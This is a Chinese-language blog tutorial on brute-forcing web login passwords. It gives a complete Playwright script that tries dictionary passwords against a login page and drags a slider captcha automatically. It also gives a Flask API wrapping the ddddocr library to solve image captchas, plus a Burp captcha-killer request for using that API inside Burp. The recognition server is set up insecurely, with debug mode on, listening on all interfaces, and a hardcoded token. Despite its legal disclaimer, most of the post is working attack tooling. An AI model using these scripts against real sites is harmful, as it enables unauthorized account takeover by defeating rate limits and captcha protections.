基于瀏覽器的口令暴破與圖形驗證碼識別
本文僅作為技術討論及分享,嚴禁用于任何非法用途。
前言
隨著網絡安全水平的發展,越來越多的網站增加了 RSA 加密、圖形驗證碼等防護手段,傳統的口令暴破方式已捉襟見肘,如果高效、低代碼的進行口令暴破?本文將介紹一個操作瀏覽器進行口令暴破的案例與驗證碼識別工具。
Playwright:瀏覽器自動化工具
Playwright 是一個強大的 Python 庫,僅用一個 API 即可自動執行 Chromium、Firefox、WebKit 等主流瀏覽器自動化操作,并同時支持以無頭模式、有頭模式運行。相比傳統的 “selenium” 等工具,他可以錄制我們對瀏覽器的操作并自動生成腳本,同時代碼也是非常簡單,與我們高效工作的目標非常契合。
Playwright:滑動驗證碼案例
生成登錄流程代碼
安裝 playwright 后,運行下面命令進行錄制瀏覽器操作,并生成代碼:
python -m playwright codegen

輸入目標 URL 并回車,可以看到自動生成了代碼:

輸入賬號、密碼,點擊驗證碼,然后點擊登錄。錄制過程中并不能拖動滑塊,所以無法生成滑塊的代碼,登錄操作其余的大部分代碼均已生成,也可以看到其代碼是非常簡單的:

修改為暴破腳本
from playwright.sync_api import Playwright, sync_playwright
# chrome的路徑
chromepath = r"chromium-939194\chrome-win\chrome.exe"
from time import sleep
def readpasswd(filename):
fp = open(r"password.txt", 'r', encoding='utf-8')
return fp
def run(playwright: Playwright) -> None:
browser = playwright.chromium.launch(executable_path=chromepath, headless=False)
context = browser.new_context()
# Open new page
page = context.new_page()
fp = readpasswd(1)
username = 'admin'
# 循環讀取字典暴破
for passwd in fp:
page.goto("http://xxx.xxx.xxx.xxx/login.html")
# Click input[name="userName"]
page.click("input[name=\"userName\"]")
# Fill input[name="userName"]
page.fill("input[name=\"userName\"]", username)
# Click input[name="password"]
page.click("input[name=\"password\"]")
# Fill input[name="password"]
page.fill("input[name=\"password\"]", passwd)
# Click text=/.*\>\>.*/
# 滑動解鎖代碼
s = page.wait_for_selector("text=/.*\\>\\>.*/")
box = s.bounding_box()
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
page.mouse.down()
# for i in range(10):
page.mouse.move(box["x"]+520,box["width"]/2, steps=10)
# Click text=登錄
page.mouse.up()
page.click("text=登錄")
sleep(1)
response_html = page.content()
print(f'username: {username}, password: {passwd}, length: {len(response_html)}, title: {page.title()}')
# ---------------------
context.close()
browser.close()
with sync_playwright() as playwright:
run(playwright)
運行效果如下,通過頁面長度、標題等輸出信息可大致判斷是否暴破成功:

ddddocr:Python 驗證碼識別庫
ddddocr 是 Python 的一個 OCR 通用驗證碼識別 SDK,可離線識別驗證碼。項目地址:https://github.com/sml2h3/ddddocr。
為了方便使用這個驗證碼識別工具,我寫了個簡單的 web api 來方便遠程調用驗證碼識別服務:
### 保存以下代碼為py文件,在服務器或者本地運行(需安裝好ddddocr庫)。
from flask import Flask
from flask import request, abort
import base64
import traceback
import sys
from os.path import join, abspath, dirname
import ddddocr
app = Flask(__name__)
token = 'fbc3a282fd5ed254e54d2260607a1360'
@app.route('/', methods=['GET', 'POST'])
def index():
res = ''
if request.method == 'POST':
usertoken = request.form.get('token')
img = request.form.get('b64img')
if token != usertoken:
return 'token error!', 403
else:
try:
content = base64.b64decode(img.encode('utf-8'))
res = classfifyCode(content)
except:
traceback.print_exc()
res = ''
return res, 200
def classfifyCode(image):
ocr = ddddocr.DdddOcr()
res = ocr.classification(image)
return res
def main():
app.run(host='0.0.0.0', port=50000, debug=True)
if __name__ == "__main__":
main()
調用示例如下:
import requests
import base64
# 獲取驗證碼圖片
r = requests.get('http://xxx.xxx.xxx/code.php')
img = r.content
b64img = base64.b64encode(img).decode('utf-8')
token = 'fbc3a282fd5ed254e54d2260607a1360'
data = {
'token': token,
'b64img': b64img
}
# 驗證碼識別服務器url
r2 = requests.post('http://127.0.0.1:50000', data=data)
print(r2.text, r.status_code)
這里隨便找了個圖形驗證碼測試,能正常檢測出來,而且速度非常快:

既然驗證碼識別的問題解決了,后面就是根據我們的實際需要去編寫腳本或者集成到已有工具中了,非常簡單。
下面補充一個 burpsuite 驗證碼識別插件 captcha-killer 調用該接口的案例:
captcha-killer:https://github.com/c0ny1/captcha-killer
POST / HTTP/1.1 Host: 127.0.0.1:50000 User-Agent: python-requests/2.26.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 2776 Content-Type: application/x-www-form-urlencoded token=fbc3a282fd5ed254e54d2260607a1360&b64img=<@URLENCODE><@BASE64><@IMG_RAW>@IMG_RAW> @BASE64 > @URLENCODE >

小結
本文介紹了瀏覽器自動化工具 Playwright、驗證碼識別庫 ddddocr 以及滑動驗證碼的暴破案例,如果遇到圖形驗證碼的站點,只需要把滑動驗證碼的代碼修改為調用 ddddocr 接口即可,相信聰明的讀者們一定可以做到,就不重復贅述。
最后,感謝以下開源項目的作者為我們帶來如此方便好用的工具:
https://github.com/microsoft/playwright-python
https://github.com/sml2h3/ddddocr
https://github.com/c0ny1/captcha-killer